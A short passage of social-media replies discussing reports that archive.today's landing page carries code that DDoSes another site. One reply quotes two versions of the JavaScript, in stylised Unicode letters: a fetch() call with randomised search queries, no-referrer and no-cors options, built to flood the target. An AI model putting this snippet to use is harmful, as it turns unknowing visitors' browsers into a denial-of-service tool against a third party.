Post #138311
2026-01-16 02:22 UTC
Replies (4)
-
@eb@social.coop 2026-01-16 02:27
interestingly the code used in the DDoS has changed between today and yesterday: Old: πππππ("πππππ://ππ’πππππππ.πππ/?π=" + πΌπππ.πππππ(πππ π³πππ().πππππππ() % π·πΆπΆπΆπΆπΆπΆπΆ), { πππππππππΏπππππ’: "ππ-ππππππππ", ππππ: "ππ-ππππ" }); Today: πππππ("πππππ://ππ’πππππππ.πππ/?π=" + πΌπππ.ππππππ().ππππππππ(πΉπΌ).πππππππππ(πΈ, πΉ + πΌπππ.πππππ(πΌπππ.ππππππ() * πΎ)), { πππππππππΏπππππ’: "ππ-ππππππππ", ππππ: "ππ-ππππ" });
-
@aburka@hachyderm.io 2026-01-16 02:23
@eb@social.coop crap that sucks, it's so useful
-
@liquidparasyte@app.wafrn.net 2026-01-17 02:24
Are you saying that the landing page I've been redirected to for the past 5 years on the archive.today network has actually been a DDOS tool the whole time? Or is it just discreetly packaged alongside Google reCAPTCHA?
-
@semitones@tiny.tilde.website 2026-01-17 16:52
@eb@social.coop I am out of the loop on all this gyrovague doxxing and archive.today, who are these people and what is going on?